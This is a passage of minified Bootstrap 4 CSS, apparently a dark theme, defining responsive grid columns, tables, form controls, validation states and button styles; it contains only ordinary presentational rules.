33.3333333333%;max-width:33.3333333333%}.col-md-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-md-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-md-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-md-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-md-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-md-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-md-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-md-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-md-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-md-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-md-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-md-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-md-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-md-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-md-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-md-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-md-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-md-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-md-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-md-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.3333333333%}.offset-md-2{margin-left:16.6666666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.3333333333%}.offset-md-5{margin-left:41.6666666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.3333333333%}.offset-md-8{margin-left:66.6666666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.3333333333%}.offset-md-11{margin-left:91.6666666667%}}@media (min-width: 992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-lg-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-lg-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-lg-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-lg-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-lg-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-lg-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-lg-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-lg-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-lg-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-lg-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-lg-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-lg-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-lg-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-lg-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-lg-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-lg-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-lg-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-lg-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-lg-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-lg-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-lg-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-lg-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-lg-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.3333333333%}.offset-lg-2{margin-left:16.6666666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.3333333333%}.offset-lg-5{margin-left:41.6666666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.3333333333%}.offset-lg-8{margin-left:66.6666666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.3333333333%}.offset-lg-11{margin-left:91.6666666667%}}@media (min-width: 1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-xl-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-xl-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-xl-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-xl-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-xl-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-xl-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-xl-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-xl-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-xl-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-xl-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-xl-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-xl-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-xl-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-xl-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-xl-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-xl-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-xl-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-xl-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-xl-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-xl-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-xl-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-xl-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-xl-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.3333333333%}.offset-xl-2{margin-left:16.6666666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.3333333333%}.offset-xl-5{margin-left:41.6666666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.3333333333%}.offset-xl-8{margin-left:66.6666666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.3333333333%}.offset-xl-11{margin-left:91.6666666667%}}.table{width:100%;max-width:100%;margin-bottom:1rem;background-color:transparent}.table th,.table td{padding:0.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table .table{background-color:#2B3E50}.table-sm th,.table-sm td{padding:0.3rem}.table-bordered{border:1px solid #dee2e6}.table-bordered th,.table-bordered td{border:1px solid #dee2e6}.table-bordered thead th,.table-bordered thead td{border-bottom-width:2px}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,0.05)}.table-hover tbody tr:hover{background-color:rgba(255,255,255,0.075)}.table-primary,.table-primary>th,.table-primary>td{background-color:#f6d5bf}.table-hover .table-primary:hover{background-color:#f3c6a9}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#f3c6a9}.table-secondary,.table-secondary>th,.table-secondary>td{background-color:#cdd2d6}.table-hover .table-secondary:hover{background-color:#bfc5cb}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#bfc5cb}.table-success,.table-success>th,.table-success>td{background-color:#d1ebd1}.table-hover .table-success:hover{background-color:#bfe3bf}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#bfe3bf}.table-info,.table-info>th,.table-info>td{background-color:#d1edf6}.table-hover .table-info:hover{background-color:#bce5f2}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#bce5f2}.table-warning,.table-warning>th,.table-warning>td{background-color:#fbe8cd}.table-hover .table-warning:hover{background-color:#f9ddb5}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#f9ddb5}.table-danger,.table-danger>th,.table-danger>td{background-color:#f4cfce}.table-hover .table-danger:hover{background-color:#efbbb9}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#efbbb9}.table-light,.table-light>th,.table-light>td{background-color:#dfe3e8}.table-hover .table-light:hover{background-color:#d0d6dd}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#d0d6dd}.table-dark,.table-dark>th,.table-dark>td{background-color:#cdd2d6}.table-hover .table-dark:hover{background-color:#bfc5cb}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#bfc5cb}.table-active,.table-active>th,.table-active>td{background-color:rgba(255,255,255,0.075)}.table-hover .table-active:hover{background-color:rgba(242,242,242,0.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(242,242,242,0.075)}.table .thead-dark th{color:#2B3E50;background-color:#8d9dad;border-color:#4E5D6C}.table .thead-light th{color:#495057;background-color:#4E5D6C;border-color:#dee2e6}.table-dark{color:#2B3E50;background-color:#8d9dad}.table-dark th,.table-dark td,.table-dark thead th{border-color:#4E5D6C}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,0.05)}.table-dark.table-hover tbody tr:hover{background-color:rgba(255,255,255,0.075)}@media (max-width: 575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-sm>.table-bordered{border:0}}@media (max-width: 767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-md>.table-bordered{border:0}}@media (max-width: 991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-lg>.table-bordered{border:0}}@media (max-width: 1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;padding:0.375rem 0.75rem;font-size:1rem;line-height:1.5;color:#495057;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;border-radius:0;-webkit-transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#495057;background-color:#fff;border-color:#f1b287;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(223,105,26,0.25);box-shadow:0 0 0 0.2rem rgba(223,105,26,0.25)}.form-control::-webkit-input-placeholder{color:#868e96;opacity:1}.form-control:-ms-input-placeholder{color:#868e96;opacity:1}.form-control::-ms-input-placeholder{color:#868e96;opacity:1}.form-control::placeholder{color:#868e96;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#4E5D6C;opacity:1}select.form-control:not([size]):not([multiple]){height:calc(2.25rem + 2px)}select.form-control:focus::-ms-value{color:#495057;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(0.375rem + 1px);padding-bottom:calc(0.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(0.5rem + 1px);padding-bottom:calc(0.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(0.25rem + 1px);padding-bottom:calc(0.25rem + 1px);font-size:0.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding-top:0.375rem;padding-bottom:0.375rem;margin-bottom:0;line-height:1.5;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-sm,.input-group-sm>.form-control-plaintext.form-control,.input-group-sm>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-append>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-prepend>.form-control-plaintext.btn,.input-group-sm>.input-group-append>.form-control-plaintext.btn,.form-control-plaintext.form-control-lg,.input-group-lg>.form-control-plaintext.form-control,.input-group-lg>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-append>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-prepend>.form-control-plaintext.btn,.input-group-lg>.input-group-append>.form-control-plaintext.btn{padding-right:0;padding-left:0}.form-control-sm,.input-group-sm>.form-control,.input-group-sm>.input-group-prepend>.input-group-text,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-append>.btn{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5;border-radius:0}select.form-control-sm:not([size]):not([multiple]),.input-group-sm>select.form-control:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.btn:not([size]):not([multiple]){height:calc(1.8125rem + 2px)}.form-control-lg,.input-group-lg>.form-control,.input-group-lg>.input-group-prepend>.input-group-text,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-append>.btn{padding:0.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:0}select.form-control-lg:not([size]):not([multiple]),.input-group-lg>select.form-control:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.btn:not([size]):not([multiple]){height:calc(2.875rem + 2px)}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:0.25rem}.form-row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*="col-"]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:0.3rem;margin-left:-1.25rem}.form-check-input:disabled ~ .form-check-label{color:rgba(255,255,255,0.4)}.form-check-label{margin-bottom:0}.form-check-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:0.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:0.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#5cb85c}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(92,184,92,0.8);border-radius:.2rem}.was-validated .form-control:valid,.form-control.is-valid,.was-validated .custom-select:valid,.custom-select.is-valid{border-color:#5cb85c}.was-validated .form-control:valid:focus,.form-control.is-valid:focus,.was-validated .custom-select:valid:focus,.custom-select.is-valid:focus{border-color:#5cb85c;-webkit-box-shadow:0 0 0 0.2rem rgba(92,184,92,0.25);box-shadow:0 0 0 0.2rem rgba(92,184,92,0.25)}.was-validated .form-control:valid ~ .valid-feedback,.was-validated .form-control:valid ~ .valid-tooltip,.form-control.is-valid ~ .valid-feedback,.form-control.is-valid ~ .valid-tooltip,.was-validated .custom-select:valid ~ .valid-feedback,.was-validated .custom-select:valid ~ .valid-tooltip,.custom-select.is-valid ~ .valid-feedback,.custom-select.is-valid ~ .valid-tooltip{display:block}.was-validated .form-check-input:valid ~ .form-check-label,.form-check-input.is-valid ~ .form-check-label{color:#5cb85c}.was-validated .form-check-input:valid ~ .valid-feedback,.was-validated .form-check-input:valid ~ .valid-tooltip,.form-check-input.is-valid ~ .valid-feedback,.form-check-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-control-input:valid ~ .custom-control-label,.custom-control-input.is-valid ~ .custom-control-label{color:#5cb85c}.was-validated .custom-control-input:valid ~ .custom-control-label::before,.custom-control-input.is-valid ~ .custom-control-label::before{background-color:#b5dfb5}.was-validated .custom-control-input:valid ~ .valid-feedback,.was-validated .custom-control-input:valid ~ .valid-tooltip,.custom-control-input.is-valid ~ .valid-feedback,.custom-control-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before,.custom-control-input.is-valid:checked ~ .custom-control-label::before{background-color:#80c780}.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before,.custom-control-input.is-valid:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #2B3E50,0 0 0 0.2rem rgba(92,184,92,0.25);box-shadow:0 0 0 1px #2B3E50,0 0 0 0.2rem rgba(92,184,92,0.25)}.was-validated .custom-file-input:valid ~ .custom-file-label,.custom-file-input.is-valid ~ .custom-file-label{border-color:#5cb85c}.was-validated .custom-file-input:valid ~ .custom-file-label::before,.custom-file-input.is-valid ~ .custom-file-label::before{border-color:inherit}.was-validated .custom-file-input:valid ~ .valid-feedback,.was-validated .custom-file-input:valid ~ .valid-tooltip,.custom-file-input.is-valid ~ .valid-feedback,.custom-file-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-file-input:valid:focus ~ .custom-file-label,.custom-file-input.is-valid:focus ~ .custom-file-label{-webkit-box-shadow:0 0 0 0.2rem rgba(92,184,92,0.25);box-shadow:0 0 0 0.2rem rgba(92,184,92,0.25)}.invalid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#d9534f}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(217,83,79,0.8);border-radius:.2rem}.was-validated .form-control:invalid,.form-control.is-invalid,.was-validated .custom-select:invalid,.custom-select.is-invalid{border-color:#d9534f}.was-validated .form-control:invalid:focus,.form-control.is-invalid:focus,.was-validated .custom-select:invalid:focus,.custom-select.is-invalid:focus{border-color:#d9534f;-webkit-box-shadow:0 0 0 0.2rem rgba(217,83,79,0.25);box-shadow:0 0 0 0.2rem rgba(217,83,79,0.25)}.was-validated .form-control:invalid ~ .invalid-feedback,.was-validated .form-control:invalid ~ .invalid-tooltip,.form-control.is-invalid ~ .invalid-feedback,.form-control.is-invalid ~ .invalid-tooltip,.was-validated .custom-select:invalid ~ .invalid-feedback,.was-validated .custom-select:invalid ~ .invalid-tooltip,.custom-select.is-invalid ~ .invalid-feedback,.custom-select.is-invalid ~ .invalid-tooltip{display:block}.was-validated .form-check-input:invalid ~ .form-check-label,.form-check-input.is-invalid ~ .form-check-label{color:#d9534f}.was-validated .form-check-input:invalid ~ .invalid-feedback,.was-validated .form-check-input:invalid ~ .invalid-tooltip,.form-check-input.is-invalid ~ .invalid-feedback,.form-check-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-control-input:invalid ~ .custom-control-label,.custom-control-input.is-invalid ~ .custom-control-label{color:#d9534f}.was-validated .custom-control-input:invalid ~ .custom-control-label::before,.custom-control-input.is-invalid ~ .custom-control-label::before{background-color:#f0b9b8}.was-validated .custom-control-input:invalid ~ .invalid-feedback,.was-validated .custom-control-input:invalid ~ .invalid-tooltip,.custom-control-input.is-invalid ~ .invalid-feedback,.custom-control-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before,.custom-control-input.is-invalid:checked ~ .custom-control-label::before{background-color:#e27c79}.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before,.custom-control-input.is-invalid:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #2B3E50,0 0 0 0.2rem rgba(217,83,79,0.25);box-shadow:0 0 0 1px #2B3E50,0 0 0 0.2rem rgba(217,83,79,0.25)}.was-validated .custom-file-input:invalid ~ .custom-file-label,.custom-file-input.is-invalid ~ .custom-file-label{border-color:#d9534f}.was-validated .custom-file-input:invalid ~ .custom-file-label::before,.custom-file-input.is-invalid ~ .custom-file-label::before{border-color:inherit}.was-validated .custom-file-input:invalid ~ .invalid-feedback,.was-validated .custom-file-input:invalid ~ .invalid-tooltip,.custom-file-input.is-invalid ~ .invalid-feedback,.custom-file-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-file-input:invalid:focus ~ .custom-file-label,.custom-file-input.is-invalid:focus ~ .custom-file-label{-webkit-box-shadow:0 0 0 0.2rem rgba(217,83,79,0.25);box-shadow:0 0 0 0.2rem rgba(217,83,79,0.25)}.form-inline{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width: 576px){.form-inline label{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .input-group{width:auto}.form-inline .form-check{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;margin-top:0;margin-right:0.25rem;margin-left:0}.form-inline .custom-control{-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;text-align:center;white-space:nowrap;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;border:1px solid transparent;padding:0.375rem 0.75rem;font-size:1rem;line-height:1.5;border-radius:0;-webkit-transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}.btn:hover,.btn:focus{text-decoration:none}.btn:focus,.btn.focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(223,105,26,0.25);box-shadow:0 0 0 0.2rem rgba(223,105,26,0.25)}.btn.disabled,.btn:disabled{opacity:0.65}.btn:not(:disabled):not(.disabled){cursor:pointer}.btn:not(:disabled):not(.disabled):active,.btn:not(:disabled):not(.disabled).active{background-image:none}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#DF691A;border-color:#DF691A}.btn-primary:hover{color:#fff;background-color:#bd5916;border-color:#b15315}.btn-primary:focus,.btn-primary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(223,105,26,0.5);box-shadow:0 0 0 0.2rem rgba(223,105,26,0.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#DF691A;border-color:#DF691A}.btn-primary:not(:disabled):not(.disabled):active,.btn-primary:not(:disabled):not(.disabled).active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#b15315;border-color:#a64e13}.btn-primary:not(:disabled):not(.disabled):active:focus,.btn-primary:not(:disabled):not(.disabled).active:focus,.show>.btn-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(223,105,26,0.5);box-shadow:0 0 0 0.2rem rgba(223,105,26,0.5)}.btn-secondary{color:#fff;background-color:#4E5D6C;border-color:#4E5D6C}.btn-secondary:hover{color:#fff;background-color:#3e4a56;border-color:#39444e}.btn-secondary:focus,.btn-secondary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5);box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#4E5D6C;border-color:#4E5D6C}.btn-secondary:not(:disabled):not(.disabled):active,.btn-secondary:not(:disabled):not(.disabled).active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#39444e;border-color:#333d47}.btn-secondary:not(:disabled):not(.disabled):active:focus,.btn-secondary:not(:disabled):not(.disabled).active:focus,.show>.btn-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5);box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5)}.btn-success{color:#fff;background-color:#5cb85c;border-color:#5cb85c}.btn-success:hover{color:#fff;background-color:#48a648;border-color:#449d44}.btn-success:focus,.btn-success.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(92,184,92,0.5);box-shadow:0 0 0 0.2rem rgba(92,184,92,0.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#5cb85c;border-color:#5cb85c}.btn-success:not(:disabled):not(.disabled):active,.btn-success:not(:disabled):not(.disabled).active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#449d44;border-color:#409440}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(92,184,92,0.5);box-shadow:0 0 0 0.2rem rgba(92,184,92,0.5)}.btn-info{color:#212529;background-color:#5bc0de;border-color:#5bc0de}.btn-info:hover{color:#fff;background-color:#3bb4d8;border-color:#31b0d5}.btn-info:focus,.btn-info.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(91,192,222,0.5);box-shadow:0 0 0 0.2rem 